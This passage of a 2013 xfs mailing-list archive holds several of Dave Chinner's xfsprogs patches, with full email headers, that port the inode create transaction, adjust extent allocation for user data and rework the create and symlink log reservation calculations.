MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef XFS_ICREATE_ITEM_H +#define XFS_ICREATE_ITEM_H 1 + +/* + * on disk log item structure + * + * Log recovery assumes the first two entries are the type and size and they fit + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so + * decoding can be done correctly. + */ +struct xfs_icreate_log { + __uint16_t icl_type; /* type of log format structure */ + __uint16_t icl_size; /* size of log format structure */ + __be32 icl_ag; /* ag being allocated in */ + __be32 icl_agbno; /* start block of inode range */ + __be32 icl_count; /* number of inodes to initialise */ + __be32 icl_isize; /* size of inodes */ + __be32 icl_length; /* length of extent to initialise */ + __be32 icl_gen; /* inode generation number to use */ +}; + +/* in memory log item structure */ +struct xfs_icreate_item { + struct xfs_log_item ic_item; + struct xfs_icreate_log ic_format; +}; + +extern kmem_zone_t *xfs_icreate_zone; /* inode create item zone */ + +void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, + xfs_agblock_t agbno, unsigned int count, + unsigned int inode_size, xfs_agblock_t length, + unsigned int generation); + +#endif /* XFS_ICREATE_ITEM_H */ diff --git a/include/xfs_log.h b/include/xfs_log.h index 5caee96..70cc014 100644 --- a/include/xfs_log.h +++ b/include/xfs_log.h @@ -88,7 +88,8 @@ static inline xfs_lsn_t _lsn_cmp(xfs_lsn_t lsn1, xfs_lsn_t lsn2) #define XLOG_REG_TYPE_UNMOUNT 17 #define XLOG_REG_TYPE_COMMIT 18 #define XLOG_REG_TYPE_TRANSHDR 19 -#define XLOG_REG_TYPE_MAX 19 +#define XLOG_REG_TYPE_ICREATE 20 +#define XLOG_REG_TYPE_MAX 20 typedef struct xfs_log_iovec { void *i_addr; /* beginning address of region */ diff --git a/include/xfs_trans.h b/include/xfs_trans.h index acf1381..36a0026 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -48,6 +48,7 @@ typedef struct xfs_trans_header { #define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ #define XFS_LI_DQUOT 0x123d #define XFS_LI_QUOTAOFF 0x123e +#define XFS_LI_ICREATE 0x123f #define XFS_LI_TYPE_DESC \ { XFS_LI_EFI, "XFS_LI_EFI" }, \ @@ -56,7 +57,8 @@ typedef struct xfs_trans_header { { XFS_LI_INODE, "XFS_LI_INODE" }, \ { XFS_LI_BUF, "XFS_LI_BUF" }, \ { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" } + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ + { XFS_LI_ICREATE, "XFS_LI_ICREATE" } /* * Transaction types. Used to distinguish types of buffers. @@ -107,7 +109,8 @@ typedef struct xfs_trans_header { #define XFS_TRANS_SWAPEXT 40 #define XFS_TRANS_SB_COUNT 41 #define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_TYPE_MAX 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 /* new transaction types need to be reflected in xfs_logprint(8) */ #define XFS_TRANS_TYPES \ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C300229E11 for ; Wed, 4 Sep 2013 17:06:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B23A08F8033 for ; Wed, 4 Sep 2013 15:06:09 -0700 (PDT) X-ASG-Debug-ID: 1378332365-04cbb02c3cd4b110003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id mdE0WTILEK2mMjMN for ; Wed, 04 Sep 2013 15:06:08 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo9lAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:05 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cv-KI for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rl-Jf for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 08/55] libxfs: update xfs_alloc to current kernel version Date: Thu, 5 Sep 2013 08:05:12 +1000 X-ASG-Orig-Subj: [PATCH 08/55] libxfs: update xfs_alloc to current kernel version Message-Id: <1378332359-14737-9-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332367 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_alloc.c | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 1d7ea8f..757b43d 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -153,6 +153,7 @@ xfs_alloc_compute_diff( xfs_agblock_t wantbno, /* target starting block */ xfs_extlen_t wantlen, /* target length */ xfs_extlen_t alignment, /* target alignment */ + char userdata, /* are we allocating data? */ xfs_agblock_t freebno, /* freespace's starting block */ xfs_extlen_t freelen, /* freespace's length */ xfs_agblock_t *newbnop) /* result: best start block from free */ @@ -167,7 +168,14 @@ xfs_alloc_compute_diff( ASSERT(freelen >= wantlen); freeend = freebno + freelen; wantend = wantbno + wantlen; - if (freebno >= wantbno) { + /* + * We want to allocate from the start of a free extent if it is past + * the desired block or if we are allocating user data and the free + * extent is before desired block. The second case is there to allow + * for contiguous allocation from the remaining free space if the file + * grows in the short term. + */ + if (freebno >= wantbno || (userdata && freeend < wantend)) { if ((newbno1 = roundup(freebno, alignment)) >= freeend) newbno1 = NULLAGBLOCK; } else if (freeend >= wantend && alignment > 1) { @@ -783,7 +791,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbnoa, + args->alignment, + args->userdata, *sbnoa, *slena, &new); /* @@ -954,7 +963,8 @@ restart: if (args->len < blen) continue; ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbnoa, ltlena, <new); + args->alignment, args->userdata, ltbnoa, + ltlena, <new); if (ltnew != NULLAGBLOCK && (args->len > blen || ltdiff < bdiff)) { bdiff = ltdiff; @@ -1106,7 +1116,8 @@ restart: args->len = XFS_EXTLEN_MIN(ltlena, args->maxlen); xfs_alloc_fix_len(args); ltdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, ltbnoa, ltlena, <new); + args->alignment, args->userdata, ltbnoa, + ltlena, <new); error = xfs_alloc_find_best_extent(args, &bno_cur_lt, &bno_cur_gt, @@ -1122,7 +1133,8 @@ restart: args->len = XFS_EXTLEN_MIN(gtlena, args->maxlen); xfs_alloc_fix_len(args); gtdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, gtbnoa, gtlena, >new); + args->alignment, args->userdata, gtbnoa, + gtlena, >new); error = xfs_alloc_find_best_extent(args, &bno_cur_gt, &bno_cur_lt, @@ -1181,7 +1193,7 @@ restart: } rlen = args->len; (void)xfs_alloc_compute_diff(args->agbno, rlen, args->alignment, - ltbnoa, ltlena, <new); + args->userdata, ltbnoa, ltlena, <new); ASSERT(ltnew >= ltbno); ASSERT(ltnew + rlen <= ltbnoa + ltlena); ASSERT(ltnew + rlen <= be32_to_cpu(XFS_BUF_TO_AGF(args->agbp)->agf_length)); @@ -2173,13 +2185,8 @@ xfs_agf_verify( struct xfs_agf *agf = XFS_BUF_TO_AGF(bp); if (xfs_sb_version_hascrc(&mp->m_sb) && - !uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_uuid)) { - char uu[64], uu2[64]; - platform_uuid_unparse(&agf->agf_uuid, uu); - platform_uuid_unparse(&mp->m_sb.sb_uuid, uu2); - + !uuid_equal(&agf->agf_uuid, &mp->m_sb.sb_uuid)) return false; - } if (!(agf->agf_magicnum == cpu_to_be32(XFS_AGF_MAGIC) && XFS_AGF_GOOD_VERSION(be32_to_cpu(agf->agf_versionnum)) && -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:06:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9002A29E10 for ; Wed, 4 Sep 2013 17:06:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 45808304039 for ; Wed, 4 Sep 2013 15:06:09 -0700 (PDT) X-ASG-Debug-ID: 1378332366-04bdf02f20d82270001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 1yX0CnxvDw65jl2w for ; Wed, 04 Sep 2013 15:06:06 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIACyuJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo9lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:36:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cm-Gn for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rH-GK for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/55] xfsprogs: port inode create transaction changes Date: Thu, 5 Sep 2013 08:05:06 +1000 X-ASG-Orig-Subj: [PATCH 02/55] xfsprogs: port inode create transaction changes Message-Id: <1378332359-14737-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378332366 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140346 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Bring across the relevant parts of the new inode create transaction sufficient to keep kernel/user code in sync and implement the infrastructure needed to make it work in xfsprogs. Signed-off-by: Dave Chinner --- include/libxfs.h | 1 + include/xfs_ialloc.h | 8 +++ include/xfs_icreate_item.h | 3 ++ libxfs/xfs.h | 5 ++ libxfs/xfs_ialloc.c | 87 +++++++++++++++++++++++++-------- libxfs/xfs_trans.c | 118 +++++++++++++++++++++++++++++---------------- 6 files changed, 160 insertions(+), 62 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index f11ad52..bd74ca5 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -57,6 +57,7 @@ #include #include #include +#include #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/include/xfs_ialloc.h b/include/xfs_ialloc.h index c8da3df..68c0732 100644 --- a/include/xfs_ialloc.h +++ b/include/xfs_ialloc.h @@ -150,6 +150,14 @@ int xfs_inobt_lookup(struct xfs_btree_cur *cur, xfs_agino_t ino, int xfs_inobt_get_rec(struct xfs_btree_cur *cur, xfs_inobt_rec_incore_t *rec, int *stat); +/* + * Inode chunk initialisation routine + */ +int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, + struct list_head *buffer_list, + xfs_agnumber_t agno, xfs_agblock_t agbno, + xfs_agblock_t length, unsigned int gen); + extern const struct xfs_buf_ops xfs_agi_buf_ops; #endif /* __XFS_IALLOC_H__ */ diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h index 88ba8aa..70dc03c 100644 --- a/include/xfs_icreate_item.h +++ b/include/xfs_icreate_item.h @@ -36,6 +36,8 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; +#ifdef __KERNEL__ + /* in memory log item structure */ struct xfs_icreate_item { struct xfs_log_item ic_item; @@ -48,5 +50,6 @@ void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, unsigned int count, unsigned int inode_size, xfs_agblock_t length, unsigned int generation); +#endif /* __KERNEL__ */ #endif /* XFS_ICREATE_ITEM_H */ diff --git a/libxfs/xfs.h b/libxfs/xfs.h index aa71ecc..15e82d7 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -176,6 +176,7 @@ roundup_pow_of_two(uint v) #define XBF_TRYLOCK XFS_BUF_TRYLOCK #define XBF_DONT_BLOCK 0 #define XBF_UNMAPPED 0 +#define XBF_DONE 0 #define XFS_BUF_GETERROR(bp) 0 #define XFS_BUF_DONE(bp) ((bp)->b_flags |= LIBXFS_B_UPTODATE) #define XFS_BUF_ISDONE(bp) ((bp)->b_flags & LIBXFS_B_UPTODATE) @@ -194,6 +195,7 @@ roundup_pow_of_two(uint v) #define xfs_buf_relse(bp) libxfs_putbuf(bp) #define xfs_buf_get(devp,blkno,len,f) (libxfs_getbuf((devp), (blkno), (len))) #define xfs_bwrite(bp) libxfs_writebuf((bp), 0) +#define xfs_buf_delwri_queue(bp, bl) libxfs_writebuf((bp), 0) #define XBRW_READ LIBXFS_BREAD #define XBRW_WRITE LIBXFS_BWRITE @@ -252,6 +254,7 @@ roundup_pow_of_two(uint v) #define xfs_trans_get_block_res(tp) 1 #define xfs_trans_set_sync(tp) ((void) 0) +#define xfs_trans_ordered_buf(tp, bp) ((void) 0) #define xfs_trans_agblocks_delta(tp, d) #define xfs_trans_agflist_delta(tp, d) #define xfs_trans_agbtree_delta(tp, d) @@ -325,6 +328,8 @@ do { \ #define uuid_copy(s,d) platform_uuid_copy((s),(d)) #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) +#define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) + /* * Prototypes for kernel static functions that are aren't in their * associated header files diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 76fdcea..48916dd 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -129,12 +129,16 @@ xfs_check_agi_freecount( #endif /* - * Initialise a new set of inodes. + * Initialise a new set of inodes. When called without a transaction context + * (e.g. from recovery) we initiate a delayed write of the inode buffers rather + * than logging them (which in a transaction context puts them into the AIL + * for writeback rather than the xfsbufd queue). */ -STATIC int +int xfs_ialloc_inode_init( struct xfs_mount *mp, struct xfs_trans *tp, + struct list_head *buffer_list, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, @@ -165,22 +169,40 @@ xfs_ialloc_inode_init( } /* - * Figure out what version number to use in the inodes we create. - * If the superblock version has caught up to the one that supports - * the new inode format, then use the new inode version. Otherwise - * use the old version so that old kernels will continue to be - * able to use the file system. + * Figure out what version number to use in the inodes we create. If + * the superblock version has caught up to the one that supports the new + * inode format, then use the new inode version. Otherwise use the old + * version so that old kernels will continue to be able to use the file + * system. * * For v3 inodes, we also need to write the inode number into the inode, * so calculate the first inode number of the chunk here as - * XFS_OFFBNO_TO_AGINO() only works on filesystem block boundaries, not - * cluster boundaries and so cannot be used in the cluster buffer loop - * below. + * XFS_OFFBNO_TO_AGINO() only works within a filesystem block, not + * across multiple filesystem blocks (such as a cluster) and so cannot + * be used in the cluster buffer loop below. + * + * Further, because we are writing the inode directly into the buffer + * and calculating a CRC on the entire inode, we have ot log the entire + * inode so that the entire range the CRC covers is present in the log. + * That means for v3 inode we log the entire buffer rather than just the + * inode cores. */ if (xfs_sb_version_hascrc(&mp->m_sb)) { version = 3; ino = XFS_AGINO_TO_INO(mp, agno, XFS_OFFBNO_TO_AGINO(mp, agbno, 0)); + + /* + * log the initialisation that is about to take place as an + * logical operation. This means the transaction does not + * need to log the physical changes to the inode buffers as log + * recovery will know what initialisation is actually needed. + * Hence we only need to log the buffers as "ordered" buffers so + * they track in the AIL as if they were physically logged. + */ + if (tp) + xfs_icreate_log(tp, agno, agbno, XFS_IALLOC_INODES(mp), + mp->m_sb.sb_inodesize, length, gen); } else if (xfs_sb_version_hasnlink(&mp->m_sb)) version = 2; else @@ -196,15 +218,10 @@ xfs_ialloc_inode_init( XBF_UNMAPPED); if (!fbuf) return ENOMEM; - /* - * Initialize all inodes in this buffer and then log them. - * - * XXX: It would be much better if we had just one transaction - * to log a whole cluster of inodes instead of all the - * individual transactions causing a lot of log traffic. - */ + + /* Initialize the inode buffers and log them appropriately. */ fbuf->b_ops = &xfs_inode_buf_ops; - xfs_buf_zero(fbuf, 0, ninodes << mp->m_sb.sb_inodelog); + xfs_buf_zero(fbuf, 0, BBTOB(fbuf->b_length)); for (i = 0; i < ninodes; i++) { int ioffset = i << mp->m_sb.sb_inodelog; uint isize = xfs_dinode_size(version); @@ -220,11 +237,39 @@ xfs_ialloc_inode_init( ino++; uuid_copy(&free->di_uuid, &mp->m_sb.sb_uuid); xfs_dinode_calc_crc(mp, free); + } else if (tp) { + /* just log the inode core */ + xfs_trans_log_buf(tp, fbuf, ioffset, + ioffset + isize - 1); } + } - xfs_trans_log_buf(tp, fbuf, ioffset, ioffset + isize - 1); + if (tp) { + /* + * Mark the buffer as an inode allocation buffer so it + * sticks in AIL at the point of this allocation + * transaction. This ensures the they are on disk before + * the tail of the log can be moved past this + * transaction (i.e. by preventing relogging from moving + * it forward in the log). + */ + xfs_trans_inode_alloc_buf(tp, fbuf); + if (version == 3) { + /* + * Mark the buffer as ordered so that they are + * not physically logged in the transaction but + * still tracked in the AIL as part of the + * transaction and pin the log appropriately. + */ + xfs_trans_ordered_buf(tp, fbuf); + xfs_trans_log_buf(tp, fbuf, 0, + BBTOB(fbuf->b_length) - 1); + } + } else { + fbuf->b_flags |= XBF_DONE; + xfs_buf_delwri_queue(fbuf, buffer_list); + xfs_buf_relse(fbuf); } - xfs_trans_inode_alloc_buf(tp, fbuf); } return 0; } @@ -372,7 +417,7 @@ xfs_ialloc_ag_alloc( * rather than a linear progression to prevent the next generation * number from being easily guessable. */ - error = xfs_ialloc_inode_init(args.mp, tp, agno, args.agbno, + error = xfs_ialloc_inode_init(args.mp, tp, NULL, agno, args.agbno, args.len, prandom_u32()); if (error) diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c index bdd0ebc..95fb630 100644 --- a/libxfs/xfs_trans.c +++ b/libxfs/xfs_trans.c @@ -208,71 +208,93 @@ xfs_calc_remove_reservation( } /* - * For symlink we can modify: + * For create, break it in to the two cases that the transaction + * covers. We start with the modify case - allocation done by modification + * of the state of existing inodes - and the allocation case. + */ + +/* + * For create we can modify: * the parent directory inode: inode size * the new inode: inode size - * the inode btree entry: 1 block + * the inode btree entry: block size + * the superblock for the nlink flag: sector size * the directory btree: (max depth + v2) * dir block size * the directory inode's bmap btree: (max depth + v2) * block size - * the blocks for the symlink: 1 kB - * Or in the first xact we allocate some inodes giving: + */ +STATIC uint +xfs_calc_create_resv_modify( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + (uint)XFS_FSB_TO_B(mp, 1) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); +} + +/* + * For create we can allocate some inodes giving: * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (2 * max depth - 1) * block size + * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint -xfs_calc_symlink_reservation( +xfs_calc_create_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +__xfs_calc_create_reservation( struct xfs_mount *mp) { return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, 1024)), - (xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); + MAX(xfs_calc_create_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); } /* - * For create we can modify: - * the parent directory inode: inode size - * the new inode: inode size - * the inode btree entry: block size - * the superblock for the nlink flag: sector size - * the directory btree: (max depth + v2) * dir block size - * the directory inode's bmap btree: (max depth + v2) * block size - * Or in the first xact we allocate some inodes giving: + * For icreate we can allocate some inodes giving: * the agi and agf of the ag getting the new inodes: 2 * sectorsize * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize * the inode btree: max depth * blocksize * the allocation btrees: 2 trees * (max depth - 1) * block size */ STATIC uint -xfs_calc_create_reservation( +xfs_calc_icreate_resv_alloc( struct xfs_mount *mp) { + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +xfs_calc_icreate_reservation(xfs_mount_t *mp) +{ return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); + MAX(xfs_calc_icreate_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +STATIC uint +xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return xfs_calc_icreate_reservation(mp); + return __xfs_calc_create_reservation(mp); + } /* @@ -285,6 +307,20 @@ xfs_calc_mkdir_reservation( return xfs_calc_create_reservation(mp); } + +/* + * Making a new symplink is the same as creating a new file, but + * with the added blocks for remote symlink data which can be up to 1kB in + * length (MAXPATHLEN). + */ +STATIC uint +xfs_calc_symlink_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp) + + xfs_calc_buf_res(1, MAXPATHLEN); +} + /* * In freeing an inode we can modify: * the inode being freed: inode size -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7D5987F53 for ; Wed, 4 Sep 2013 17:21:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6815B304048 for ; Wed, 4 Sep 2013 15:21:25 -0700 (PDT) X-ASG-Debug-ID: 1378333283-04cb6c2e9fd581b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id ZRUd9osXBVGBGoM3 for ; Wed, 04 Sep 2013 15:21:24 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:21 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007dw-5h for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tr-53 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 34/55] xfs: don't special case shared superblock mounts Date: Thu, 5 Sep 2013 08:05:38 +1000 X-ASG-Orig-Subj: [PATCH 34/55] xfs: don't special case shared superblock mounts Message-Id: <1378332359-14737-35-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333283 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Neither kernel or userspace support shared read-only mounts, so don't beother special casing the support check to be different between kernel and userspace. The same check canbe used as neither like it... Signed-off-by: Dave Chinner --- include/xfs_sb.h | 7 ------- 1 file changed, 7 deletions(-) diff --git a/include/xfs_sb.h b/include/xfs_sb.h index 04fe32a..9085662 100644 --- a/include/xfs_sb.h +++ b/include/xfs_sb.h 